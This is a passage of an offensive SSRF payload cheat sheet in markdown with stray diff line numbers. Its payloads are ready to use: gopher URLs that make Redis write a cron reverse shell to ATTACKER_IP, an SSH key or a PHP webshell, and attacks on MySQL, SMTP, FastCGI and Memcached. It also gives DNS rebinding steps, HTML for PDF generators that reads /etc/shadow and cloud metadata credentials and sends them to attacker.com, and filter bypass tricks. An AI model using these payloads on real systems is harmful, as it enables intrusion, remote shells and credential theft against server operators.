gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A*/1 * * * * bash -i >%26 /dev/tcp/ATTACKER_IP/4444 0>%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
Decoded RESP commands:
|
|
289
|
+
```
|
|
290
|
+
PING
|
|
291
|
+
SET 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n\n"
|
|
292
|
+
CONFIG SET dir /var/spool/cron/
|
|
293
|
+
CONFIG SET dbfilename root
|
|
294
|
+
SAVE
|
|
295
|
+
```
|
|
296
|
+
|
|
297
|
+
**Write SSH authorized_keys**:
|
|
298
|
+
|
|
299
|
+
```
|
|
300
|
+
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/root/.ssh/%0D%0ACONFIG%20SET%20dbfilename%20authorized_keys%0D%0ASET%20key%20%22%5Cn%5Cnssh-rsa%20AAAA...%20attacker%40host%5Cn%5Cn%22%0D%0ASAVE%0D%0A
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
**Write PHP webshell via Redis**:
|
|
304
|
+
|
|
305
|
+
```
|
|
306
|
+
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html/%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20x%20%22%3C%3Fphp%20system%28%24_GET%5B%27c%27%5D%29%3B%3F%3E%22%0D%0ASAVE%0D%0A
|
|
307
|
+
```
|
|
308
|
+
|
|
309
|
+
### 3.2 Gopher → MySQL (No Password)
|
|
310
|
+
|
|
311
|
+
Target: MySQL with `skip-grant-tables` or empty root password.
|
|
312
|
+
|
|
313
|
+
```
|
|
314
|
+
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00mysql_native_password%00
|
|
315
|
+
```
|
|
316
|
+
|
|
317
|
+
**Tool: Gopherus** generates these payloads automatically:
|
|
318
|
+
|
|
319
|
+
```bash
|
|
320
|
+
python gopherus.py --exploit mysql
|
|
321
|
+
# Enter username: root
|
|
322
|
+
# Enter query: SELECT * FROM mysql.user
|
|
323
|
+
|
|
324
|
+
python gopherus.py --exploit redis
|
|
325
|
+
# Enter: php (for webshell)
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
### 3.3 Gopher → SMTP
|
|
329
|
+
|
|
330
|
+
Send email via internal SMTP server (port 25):
|
|
331
|
+
|
|
332
|
+
```
|
|
333
|
+
gopher://127.0.0.1:25/_HELO%20attacker%0D%0AMAIL%20FROM%3A%3Cattacker%40evil.com%3E%0D%0ARCPT%20TO%3A%3Cadmin%40target.com%3E%0D%0ADATA%0D%0ASubject%3A%20SSRF%20Test%0D%0A%0D%0AYou%20are%20vulnerable%0D%0A.%0D%0AQUIT%0D%0A
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
Decoded:
|
|
337
|
+
```
|
|
338
|
+
HELO attacker
|
|
339
|
+
MAIL FROM:<attacker@evil.com>
|
|
340
|
+
RCPT TO:<admin@target.com>
|
|
341
|
+
DATA
|
|
342
|
+
Subject: SSRF Test
|
|
343
|
+
|
|
344
|
+
You are vulnerable
|
|
345
|
+
.
|
|
346
|
+
QUIT
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
### 3.4 Gopher → FastCGI (PHP-FPM)
|
|
350
|
+
|
|
351
|
+
Execute PHP code via FastCGI protocol on port 9000:
|
|
352
|
+
|
|
353
|
+
```bash
|
|
354
|
+
# Use Gopherus:
|
|
355
|
+
python gopherus.py --exploit fastcgi
|
|
356
|
+
# Enter: /var/www/html/index.php
|
|
357
|
+
# Enter command: id
|
|
358
|
+
```
|
|
359
|
+
|
|
360
|
+
The generated payload sends a FastCGI `BEGIN_REQUEST` + `PARAMS` + `STDIN` that sets `PHP_VALUE` to `auto_prepend_file=php://input` and includes the command in the request body.
|
|
361
|
+
|
|
362
|
+
### 3.5 Gopher → Memcached
|
|
363
|
+
|
|
364
|
+
```
|
|
365
|
+
gopher://127.0.0.1:11211/_stats%0D%0A
|
|
366
|
+
gopher://127.0.0.1:11211/_get%20session:SESSIONID%0D%0A
|
|
367
|
+
gopher://127.0.0.1:11211/_set%20session:VICTIM%200%20900%2050%0D%0A{"user":"admin","role":"superadmin","id":1}%0D%0A
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
### 3.6 Gopher URL Encoding Rules
|
|
371
|
+
|
|
372
|
+
```
|
|
373
|
+
\r → %0D
|
|
374
|
+
\n → %0A
|
|
375
|
+
space → %20
|
|
376
|
+
/ → %2F (in path component; first / after host is literal)
|
|
377
|
+
_ after gopher://host:port/ → required prefix (discarded by protocol)
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
Double-encode if the SSRF endpoint URL-decodes once before fetching:
|
|
381
|
+
```
|
|
382
|
+
%0D%0A → %250D%250A
|
|
383
|
+
```
|
|
384
|
+
|
|
385
|
+
---
|
|
386
|
+
|
|
387
|
+
## 4. DNS REBINDING — DETAILED ATTACK FLOW
|
|
388
|
+
|
|
389
|
+
### 4.1 The Problem DNS Rebinding Solves
|
|
390
|
+
|
|
391
|
+
Many SSRF filters work by:
|
|
392
|
+
1. Resolving the hostname to an IP
|
|
393
|
+
2. Checking if the IP is internal/blocked
|
|
394
|
+
3. If allowed, making the HTTP request
|
|
395
|
+
|
|
396
|
+
DNS rebinding exploits the **time gap between steps 2 and 3**.
|
|
397
|
+
|
|
398
|
+
### 4.2 Attack Flow
|
|
399
|
+
|
|
400
|
+
```
|
|
401
|
+
1. Attacker controls DNS for evil.com
|
|
402
|
+
2. Victim app receives URL: http://evil.com/
|
|
403
|
+
3. App resolves evil.com → 1.2.3.4 (public IP, passes filter)
|
|
404
|
+
4. App makes HTTP request to evil.com
|
|
405
|
+
5. DNS TTL has expired; new resolution: evil.com → 127.0.0.1
|
|
406
|
+
6. HTTP library resolves again → gets 127.0.0.1
|
|
407
|
+
7. Request goes to 127.0.0.1 → internal resource accessed
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
### 4.3 TTL Manipulation
|
|
411
|
+
|
|
412
|
+
```
|
|
413
|
+
# Authoritative DNS server configuration:
|
|
414
|
+
# Response 1 (filter check): A 1.2.3.4, TTL=0
|
|
415
|
+
# Response 2 (actual request): A 127.0.0.1, TTL=0
|
|
416
|
+
|
|
417
|
+
# TTL=0 forces re-resolution on every request
|
|
418
|
+
# Some resolvers enforce minimum TTL (30s, 60s) — timing matters
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
### 4.4 Tools and Services
|
|
422
|
+
|
|
423
|
+
```bash
|
|
424
|
+
# rbndr.us — free DNS rebinding service
|
|
425
|
+
# Format: FIRST_IP.SECOND_IP.rbndr.us
|
|
426
|
+
# Example:
|
|
427
|
+
http://7f000001.01020304.rbndr.us/
|
|
428
|
+
# Alternates between 127.0.0.1 and 1.2.3.4
|
|
429
|
+
|
|
430
|
+
# ceye.io — DNS rebinding + OOB exfil
|
|
431
|
+
# singularity — full DNS rebinding attack framework
|
|
432
|
+
# https://github.com/nccgroup/singularity
|
|
433
|
+
|
|
434
|
+
# Custom authoritative DNS (Python):
|
|
435
|
+
# Use dnslib to serve alternating A records with TTL=0
|
|
436
|
+
```
|
|
437
|
+
|
|
438
|
+
### 4.5 DNS Rebinding vs TOCTOU
|
|
439
|
+
|
|
440
|
+
If the application resolves DNS **once** and uses the resolved IP directly, DNS rebinding won't work. Look for:
|
|
441
|
+
|
|
442
|
+
```
|
|
443
|
+
# Vulnerable pattern (two resolutions):
|
|
444
|
+
ip = dns_resolve(hostname) # check
|
|
445
|
+
if not is_internal(ip): allow
|
|
446
|
+
response = http_get(hostname) # use (re-resolves!)
|
|
447
|
+
|
|
448
|
+
# Not vulnerable (single resolution):
|
|
449
|
+
ip = dns_resolve(hostname) # check
|
|
450
|
+
if not is_internal(ip): allow
|
|
451
|
+
response = http_get(ip) # uses resolved IP directly
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
### 4.6 DNS Rebinding for IMDSv2 Bypass
|
|
455
|
+
|
|
456
|
+
```
|
|
457
|
+
# IMDSv2 blocks requests with X-Forwarded-For header
|
|
458
|
+
# But DNS rebinding hits from the instance itself:
|
|
459
|
+
1. SSRF reaches attacker-controlled DNS name
|
|
460
|
+
2. First resolution → public IP (passes filter)
|
|
461
|
+
3. Second resolution → 169.254.169.254
|
|
462
|
+
4. Request reaches IMDS from instance's own network → no X-Forwarded-For → success
|
|
463
|
+
```
|
|
464
|
+
|
|
465
|
+
---
|
|
466
|
+
|
|
467
|
+
## 5. PDF / SCREENSHOT GENERATOR SSRF
|
|
468
|
+
|
|
469
|
+
### 5.1 wkhtmltopdf
|
|
470
|
+
|
|
471
|
+
Converts HTML to PDF. Processes `<iframe>`, `<img>`, `<link>`, `<script>` tags — each triggers a server-side fetch.
|
|
472
|
+
|
|
473
|
+
```html
|
|
474
|
+
<!-- Direct SSRF -->
|
|
475
|
+
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="600"></iframe>
|
|
476
|
+
|
|
477
|
+
<!-- Via image tag -->
|
|
478
|
+
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
|
479
|
+
|
|
480
|
+
<!-- Via CSS -->
|
|
481
|
+
<link rel="stylesheet" href="http://169.254.169.254/latest/user-data">
|
|
482
|
+
|
|
483
|
+
<!-- Via @import in style -->
|
|
484
|
+
<style>@import url('http://169.254.169.254/latest/meta-data/');</style>
|
|
485
|
+
|
|
486
|
+
<!-- Via redirect (if direct IP is blocked) -->
|
|
487
|
+
<iframe src="http://attacker.com/redirect?url=http://169.254.169.254/latest/meta-data/"></iframe>
|
|
488
|
+
|
|
489
|
+
<!-- JavaScript-based (if JS is enabled in wkhtmltopdf) -->
|
|
490
|
+
<script>
|
|
491
|
+
document.write('<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">');
|
|
492
|
+
</script>
|
|
493
|
+
|
|
494
|
+
<!-- Local file read -->
|
|
495
|
+
<iframe src="file:///etc/passwd" width="800" height="600"></iframe>
|
|
496
|
+
<script>
|
|
497
|
+
x=new XMLHttpRequest;
|
|
498
|
+
x.onload=function(){document.write(this.responseText)};
|
|
499
|
+
x.open("GET","file:///etc/passwd");
|
|
500
|
+
x.send();
|
|
501
|
+
</script>
|
|
502
|
+
```
|
|
503
|
+
|
|
504
|
+
### 5.2 WeasyPrint
|
|
505
|
+
|
|
506
|
+
Python HTML/CSS to PDF converter. Processes CSS `@import`, `url()`, `<link>`, `<img>`.
|
|
507
|
+
|
|
508
|
+
```html
|
|
509
|
+
<!-- CSS url() function -->
|
|
510
|
+
<link rel="attachment" href="file:///etc/passwd">
|
|
511
|
+
|
|
512
|
+
<!-- @font-face with url() -->
|
|
513
|
+
<style>
|
|
514
|
+
@font-face {
|
|
515
|
+
font-family: 'exfil';
|
|
516
|
+
src: url('http://169.254.169.254/latest/meta-data/');
|
|
517
|
+
}
|
|
518
|
+
</style>
|
|
519
|
+
|
|
520
|
+
<!-- attachment link (WeasyPrint specific — embeds file in PDF) -->
|
|
521
|
+
<link rel="attachment" href="file:///etc/shadow">
|
|
522
|
+
```
|
|
523
|
+
|
|
524
|
+
### 5.3 Chrome Headless / Puppeteer
|
|
525
|
+
|
|
526
|
+
```html
|
|
527
|
+
<!-- Standard fetch-based -->
|
|
528
|
+
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
|
|
529
|
+
|
|
530
|
+
<!-- JavaScript SSRF (Chrome headless has full JS engine) -->
|
|
531
|
+
<script>
|
|
532
|
+
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
|
|
533
|
+
.then(r => r.text())
|
|
534
|
+
.then(t => {
|
|
535
|
+
document.body.innerText = t;
|
|
536
|
+
});
|
|
537
|
+
</script>
|
|
538
|
+
|
|
539
|
+
<!-- WebSocket for port scanning -->
|
|
540
|
+
<script>
|
|
541
|
+
var ws = new WebSocket('ws://127.0.0.1:6379');
|
|
542
|
+
ws.onerror = function() { document.title = 'closed'; };
|
|
543
|
+
ws.onopen = function() { document.title = 'open'; };
|
|
544
|
+
</script>
|
|
545
|
+
|
|
546
|
+
<!-- DNS prefetch for OOB exfil -->
|
|
547
|
+
<link rel="dns-prefetch" href="//data.attacker.com">
|
|
548
|
+
```
|
|
549
|
+
|
|
550
|
+
### 5.4 PhantomJS (Legacy but Still Found)
|
|
551
|
+
|
|
552
|
+
```html
|
|
553
|
+
<script>
|
|
554
|
+
var page = require('webpage').create();
|
|
555
|
+
page.open('http://169.254.169.254/latest/meta-data/', function(status) {
|
|
556
|
+
console.log(page.content);
|
|
557
|
+
phantom.exit();
|
|
558
|
+
});
|
|
559
|
+
</script>
|
|
560
|
+
```
|
|
561
|
+
|
|
562
|
+
### 5.5 Detection Fingerprints
|
|
563
|
+
|
|
564
|
+
| Generator | User-Agent Pattern |
|
|
565
|
+
|---|---|
|
|
566
|
+
| wkhtmltopdf | `wkhtmltopdf`, `wkhtmltoimage` |
|
|
567
|
+
| Chrome Headless | `HeadlessChrome` |
|
|
568
|
+
| PhantomJS | `PhantomJS` |
|
|
569
|
+
| WeasyPrint | `WeasyPrint` |
|
|
570
|
+
| Puppeteer | `HeadlessChrome` (same as Chrome Headless) |
|
|
571
|
+
|
|
572
|
+
### 5.6 Exfiltration When Output Is Not Visible
|
|
573
|
+
|
|
574
|
+
If the PDF/screenshot doesn't show the fetched content directly:
|
|
575
|
+
|
|
576
|
+
```html
|
|
577
|
+
<!-- Exfiltrate via external request with data in URL -->
|
|
578
|
+
<script>
|
|
579
|
+
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
|
|
580
|
+
.then(r => r.text())
|
|
581
|
+
.then(t => {
|
|
582
|
+
new Image().src = 'http://attacker.com/exfil?data=' + btoa(t);
|
|
583
|
+
});
|
|
584
|
+
</script>
|
|
585
|
+
|
|
586
|
+
<!-- Exfiltrate via DNS (longer data) -->
|
|
587
|
+
<script>
|
|
588
|
+
fetch('file:///etc/passwd')
|
|
589
|
+
.then(r => r.text())
|
|
590
|
+
.then(t => {
|
|
591
|
+
var encoded = btoa(t).substring(0, 60);
|
|
592
|
+
var img = new Image();
|
|
593
|
+
img.src = 'http://' + encoded + '.attacker.com/';
|
|
594
|
+
});
|
|
595
|
+
</script>
|
|
596
|
+
```
|
|
597
|
+
|
|
598
|
+
---
|
|
599
|
+
|
|
600
|
+
## 6. ADDITIONAL BYPASS TECHNIQUES
|
|
601
|
+
|
|
602
|
+
### 6.1 Open Redirect Chaining
|
|
603
|
+
|
|
604
|
+
```
|
|
605
|
+
http://trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/
|
|
606
|
+
http://trusted.com/login?next=http://169.254.169.254/latest/meta-data/
|
|
607
|
+
```
|
|
608
|
+
|
|
609
|
+
If SSRF filter allows `trusted.com` and `trusted.com` has an open redirect → bypass.
|
|
610
|
+
|
|
611
|
+
### 6.2 URL Shorteners
|
|
612
|
+
|
|
613
|
+
```
|
|
614
|
+
# Create short URL pointing to metadata endpoint:
|
|
615
|
+
https://bit.ly/XXXXX → http://169.254.169.254/latest/meta-data/
|
|
616
|
+
|
|
617
|
+
# Filter sees: bit.ly (allowed domain)
|
|
618
|
+
# HTTP client follows redirect → internal IP
|
|
619
|
+
```
|
|
620
|
+
|
|
621
|
+
### 6.3 Enclosed Alphanumeric Characters
|
|
622
|
+
|
|
623
|
+
```
|
|
624
|
+
# Unicode enclosed letters that normalize to ASCII:
|
|
625
|
+
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ → http://example.com
|
|
626
|
+
http://①②⑦.⓪.⓪.① → may resolve to 127.0.0.1
|
|
627
|
+
|
|
628
|
+
# Fullwidth characters:
|
|
629
|
+
http://127.0.0.1 (fullwidth digits)
|
|
630
|
+
```
|
|
631
|
+
|
|
632
|
+
### 6.4 CRLF Injection in SSRF
|
|
633
|
+
|
|
634
|
+
If the URL is used in a raw HTTP request:
|
|
635
|
+
|
|
636
|
+
```
|
|
637
|
+
http://attacker.com/%0D%0AHost:%20169.254.169.254%0D%0A
|
|
638
|
+
```
|
|
639
|
+
|
|
640
|
+
May inject additional headers or split the request to reach internal services.
|
|
641
|
+
|
|
642
|
+
### 6.5 Protocol Smuggling via HTTPS → HTTP Downgrade
|
|
643
|
+
|
|
644
|
+
Some libraries follow redirects from HTTPS to HTTP, losing TLS:
|
|
645
|
+
|
|
646
|
+
```
|
|
647
|
+
https://attacker.com/redirect → 302 → http://169.254.169.254/
|
|
648
|
+
```
|
|
649
|
+
|
|
650
|
+
If the filter only allows HTTPS URLs but the client follows HTTP redirects → bypass.
|